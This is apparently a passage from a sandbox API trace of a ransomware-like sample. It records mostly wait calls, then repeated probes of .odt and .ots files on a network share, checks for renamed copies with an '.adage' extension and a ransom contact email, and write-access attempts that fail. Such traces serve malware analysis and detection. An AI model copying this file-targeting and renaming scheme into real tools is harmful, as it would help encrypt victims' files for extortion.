(hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.561] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.562] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.562] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.562] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.562] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.562] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.562] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.562] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.562] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.562] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.562] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.562] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.562] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.563] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.563] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.563] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.563] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.563] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.563] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.563] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.563] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.563] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.563] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.564] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.564] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.564] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.564] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.564] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.564] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.564] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.564] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.564] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.564] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.564] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.565] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.565] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.565] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.565] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.565] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.565] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.565] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.565] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.565] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.565] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.566] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.566] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.566] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.566] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.566] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.566] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.566] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.566] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.566] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.566] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.566] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.567] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.567] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.567] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.567] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.567] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.567] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.567] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.567] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.567] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.567] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.567] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.567] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.568] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.568] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.568] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.568] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.568] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.568] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.569] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.569] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.569] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.569] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.569] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.569] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.569] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.569] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.569] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.569] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.570] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.570] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.570] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.570] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.570] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.570] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.570] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.570] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.570] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.570] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.570] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.570] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.571] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.571] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.571] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.571] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.571] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.571] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.571] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.571] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.571] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.571] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.571] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.571] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.572] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.572] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.572] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.572] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.572] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.572] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.572] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.572] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.572] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.572] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.572] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.572] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.573] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.573] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.573] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.573] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.573] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.573] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.573] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.573] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.573] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.573] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.574] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.574] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.574] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.574] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.574] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.574] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.574] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.574] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.574] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.574] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.574] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.575] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.575] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.575] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.575] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.575] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.575] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.575] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.575] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.575] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.575] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.576] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.576] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.576] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.576] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.576] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.576] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.576] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.576] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.576] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.576] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.823] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x33cfa18 | out: pbBuffer=0x33cfa18) returned 1 [0139.823] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\gkNzsfx.odt" (normalized: "\\\\192.168.0.1\\documents\\gknzsfx.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0140.104] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x33cf9b0 | out: lpFileSize=0x33cf9b0*=86536) returned 1 [0140.104] CloseHandle (hObject=0x2b4) returned 1 [0140.104] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\gkNzsfx.odt" (normalized: "\\\\192.168.0.1\\documents\\gknzsfx.odt")) returned 0x80 [0140.105] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\gkNzsfx.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\gknzsfx.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.105] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\gkNzsfx.odt" (normalized: "\\\\192.168.0.1\\documents\\gknzsfx.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.330] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x33cfa18 | out: pbBuffer=0x33cfa18) returned 1 [0140.330] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KeH2iEJnN7k1r.odt" (normalized: "\\\\192.168.0.1\\documents\\keh2iejnn7k1r.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.344] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x33cf9b0 | out: lpFileSize=0x33cf9b0*=48494) returned 1 [0140.344] CloseHandle (hObject=0x2b0) returned 1 [0140.344] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KeH2iEJnN7k1r.odt" (normalized: "\\\\192.168.0.1\\documents\\keh2iejnn7k1r.odt")) returned 0x80 [0140.345] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KeH2iEJnN7k1r.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\keh2iejnn7k1r.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.345] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KeH2iEJnN7k1r.odt" (normalized: "\\\\192.168.0.1\\documents\\keh2iejnn7k1r.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.471] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x33cfa18 | out: pbBuffer=0x33cfa18) returned 1 [0140.471] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\1HtpGhRDb.ots" (normalized: "\\\\192.168.0.1\\documents\\1htpghrdb.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.563] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x33cf9b0 | out: lpFileSize=0x33cf9b0*=44727) returned 1 [0140.563] CloseHandle (hObject=0x2b0) returned 1 [0140.563] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\1HtpGhRDb.ots" (normalized: "\\\\192.168.0.1\\documents\\1htpghrdb.ots")) returned 0x80 [0140.564] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\1HtpGhRDb.ots.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\1htpghrdb.ots.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.564] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\1HtpGhRDb.ots" (normalized: "\\\\192.168.0.1\\documents\\1htpghrdb.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.611] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x33cfa18 | out: pbBuffer=0x33cfa18) returned 1 [0140.611] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EInIzXIEURKe2P.odt" (normalized: "\\\\192.168.0.1\\documents\\einizxieurke2p.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.645] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x33cf9b0 | out: lpFileSize=0x33cf9b0*=23124) returned 1 [0140.645] CloseHandle (hObject=0x2b0) returned 1 [0140.645] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EInIzXIEURKe2P.odt" (normalized: "\\\\192.168.0.1\\documents\\einizxieurke2p.odt")) returned 0x80 [0140.646] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EInIzXIEURKe2P.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\einizxieurke2p.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.646] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EInIzXIEURKe2P.odt" (normalized: "\\\\192.168.0.1\\documents\\einizxieurke2p.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.669] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x33cfa18 | out: pbBuffer=0x33cfa18) returned 1 [0140.669] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\fUsEMWHFeMlUg8RpMG.ots" (normalized: "\\\\192.168.0.1\\documents\\fusemwhfemlug8rpmg.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.680] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x33cf9b0 | out: lpFileSize=0x33cf9b0*=76814) returned 1 [0140.680] CloseHandle (hObject=0x2b0) returned 1 [0140.681] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\fUsEMWHFeMlUg8RpMG.ots" (normalized: "\\\\192.168.0.1\\documents\\fusemwhfemlug8rpmg.ots")) returned 0x80 [0140.688] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\fUsEMWHFeMlUg8RpMG.ots.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\fusemwhfemlug8rpmg.ots.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.689] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\fUsEMWHFeMlUg8RpMG.ots" (normalized: "\\\\192.168.0.1\\documents\\fusemwhfemlug8rpmg.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.720] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x33cfa18 | out: pbBuffer=0x33cfa18) returned 1 [0140.720] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\qys9GnLkOeS.odt" (normalized: "\\\\192.168.0.1\\documents\\qys9gnlkoes.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.728] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x33cf9b0 | out: lpFileSize=0x33cf9b0*=43113) returned 1 [0140.728] CloseHandle (hObject=0x2b0) returned 1 [0140.728] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\qys9GnLkOeS.odt" (normalized: "\\\\192.168.0.1\\documents\\qys9gnlkoes.odt")) returned 0x80 [0140.729] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\qys9GnLkOeS.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\qys9gnlkoes.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.729] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\qys9GnLkOeS.odt" (normalized: "\\\\192.168.0.1\\documents\\qys9gnlkoes.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.759] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x33cfa18 | out: pbBuffer=0x33cfa18) returned 1 [0140.759] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ZRruaCKjxo6i.ots" (normalized: "\\\\192.168.0.1\\documents\\zrruackjxo6i.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.766] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x33cf9b0 | out: lpFileSize=0x33cf9b0*=79388) returned 1 [0140.766] CloseHandle (hObject=0x2b0) returned 1 [0140.766] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ZRruaCKjxo6i.ots" (normalized: "\\\\192.168.0.1\\documents\\zrruackjxo6i.ots")) returned 0x80 [0140.766] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ZRruaCKjxo6i.ots.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\zrruackjxo6i.ots.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.766] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ZRruaCKjxo6i.ots" (normalized: "\\\\192.168.0.1\\documents\\zrruackjxo6i.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.799] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x33cfa18 | out: pbBuffer=0x33cfa18) returned 1 [0140.799] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Oq2biITomiSUVed.odt" (normalized: "\\\\192.168.0.1\\documents\\oq2biitomisuved.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.843] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x33cf9b0 | out: lpFileSize=0x33cf9b0*=50308) returned 1 [0140.843] CloseHandle (hObject=0x2b0) returned 1 [0140.843] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Oq2biITomiSUVed.odt" (normalized: "\\\\192.168.0.1\\documents\\oq2biitomisuved.odt")) returned 0x80 [0140.843] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Oq2biITomiSUVed.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\oq2biitomisuved.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.843] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Oq2biITomiSUVed.odt" (normalized: "\\\\192.168.0.1\\documents\\oq2biitomisuved.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.863] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x33cfa18 | out: pbBuffer=0x33cfa18) returned 1 [0140.863] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\IyGa2UNby.ots" (normalized: "\\\\192.168.0.1\\documents\\iyga2unby.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.870] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x33cf9b0 | out: lpFileSize=0x33cf9b0*=67519) returned 1 [0140.870] CloseHandle (hObject=0x2b0) returned 1 [0140.870] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\IyGa2UNby.ots" (normalized: "\\\\192.168.0.1\\documents\\iyga2unby.ots")) returned 0x80 [0140.871] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\IyGa2UNby.ots.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\iyga2unby.ots.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.871] 